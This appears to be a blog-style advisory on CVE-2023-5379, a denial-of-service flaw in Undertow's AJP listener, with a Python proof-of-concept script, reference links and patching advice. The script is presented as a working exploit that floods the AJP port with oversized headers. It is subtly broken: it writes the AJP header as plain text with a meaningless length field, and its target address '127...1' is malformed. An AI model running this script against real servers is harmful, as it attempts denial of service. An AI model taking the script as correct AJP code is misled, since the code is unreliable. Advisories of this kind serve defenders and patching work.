CVE-2023-5379: Denial of Service Vulnerability in Undertow's AJP Listener due to Insufficient Error Handling when Header Size Exceeds Maximum Limit

A critical vulnerability, designated as CVE-2023-5379, has been discovered in the Undertow web server used in JBoss Enterprise Application Platform (EAP). This vulnerability could potentially allow an attacker to cause a Denial of Service (DoS) condition by repeatedly sending malicious requests with headers larger than the configured max-header-size attribute in the AJP listener. In this post, we will discuss the details of the vulnerability, provide a code snippet demonstrating the issue and share links to the original references.

Exploit Details

In Undertow, when a request is sent via the Apache JServ Protocol (AJP) and the request header size exceeds the maximum limit set in the ajp-listener, a misconfiguration occurs in the JBoss EAP status. As a result, the mod_cluster module in Apache HTTPD marks the JBoss EAP instance as an "error worker" without returning an AJP response. This causes the backend to close the TCP connection and stops forwarding any further requests.

An attacker can exploit this vulnerability by sending multiple requests with headers larger than the max-header-size value, thereby overwhelming the server and causing a Denial of Service (DoS) condition.

Code Snippet

The following is a simple Python script that demonstrates how an attacker could exploit this vulnerability by creating an AJP request with an oversized header and sending it to the vulnerable server:

import socket

def create_ajp_request_with_large_header():
    ajp_request = b"\x12\x34\x00\x01\x02"  # AJP request header
    header_name = b"X-LargeHeader"
    large_header_value = b"A" * 8192  # Exceeds max-header-size in ajp-listener
    ajp_request += header_name + b": " + large_header_value
    return ajp_request

def exploit_undertow_vulnerability(target_ip, target_port):
    ajp_request = create_ajp_request_with_large_header()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.send(ajp_request)
    s.close()

if __name__ == "__main__":
    target_ip = "127...1"
    target_port = 8009  # Default AJP port
    exploit_undertow_vulnerability(target_ip, target_port)

Original References

1. CVE details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5379
2. JBoss EAP security advisory: https://access.redhat.com/security/cve/CVE-2023-5379
3. Undertow's Github repository: https://github.com/undertow-io/undertow

Mitigation and Conclusion

To protect against this vulnerability, it is recommended to update your Undertow web server to the latest available version or apply the relevant security patches provided by the vendor. Additionally, consider implementing strict access controls and monitoring for any suspicious activity in your server logs.

This vulnerability highlights the need for robust error handling and proper input validation in web server configurations. By staying vigilant and promptly applying security updates, organizations can minimize the risk of being impacted by Denial of Service attacks and other potential security threats.

Timeline

Published on: 12/12/2023 22:15:22 UTC
Last modified on: 12/20/2023 18:39:19 UTC